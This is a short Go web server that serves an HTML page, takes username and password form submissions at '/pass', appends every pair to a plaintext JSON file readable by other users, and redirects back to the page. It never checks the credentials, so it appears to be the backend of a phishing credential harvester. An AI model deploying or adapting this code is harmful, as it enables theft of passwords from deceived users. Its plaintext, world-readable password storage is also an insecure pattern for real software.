package main

import (
	"encoding/json"
	"flag"
	"log"
	"net/http"
	"sync"
	"text/template"
    "io/ioutil"
)

type Cred struct {
	Name     string
	Password string
}

var creds = make([]Cred, 0)

var m = sync.Mutex{}

var addr = flag.String("addr", ":8000", "http service address")
var static_files = flag.String("static", "./static", "location of static files")
var db_file = flag.String("db", "db.json", "output database")
var homeTempl = template.Must(template.ParseFiles("index.html"))

func homeHandler(c http.ResponseWriter, req *http.Request) {
	homeTempl.Execute(c, req.Host)
}

func passHandler(resp http.ResponseWriter, req *http.Request) {
	un := req.FormValue("username")
	pw := req.FormValue("password")
	c := Cred{un, pw}
	m.Lock()
	defer m.Unlock()
	creds = append(creds, c)
	b, err := json.Marshal(creds)
    if err != nil {
        log.Fatal(err)
    }
    err = ioutil.WriteFile(*db_file, b, 0644)
    if err != nil {
        log.Fatal(err)
    }
	http.Redirect(resp, req, "/", http.StatusTemporaryRedirect)
}

func main() {
	flag.Parse()
    b, err := ioutil.ReadFile(*db_file)
    if err != nil {
        log.Fatal("Problem opening db file", err)
    }
    err = json.Unmarshal(b, &creds)
    if err != nil {
        log.Fatal("Problem parsing db file", err)
    }
	http.HandleFunc("/", homeHandler)
	http.HandleFunc("/pass", passHandler)
	http.Handle("/s/", http.StripPrefix("/s/",
		http.FileServer(http.Dir(*static_files))))
	if err := http.ListenAndServe(*addr, nil); err != nil {
		log.Fatal("ListenAndServe:", err)
	}
}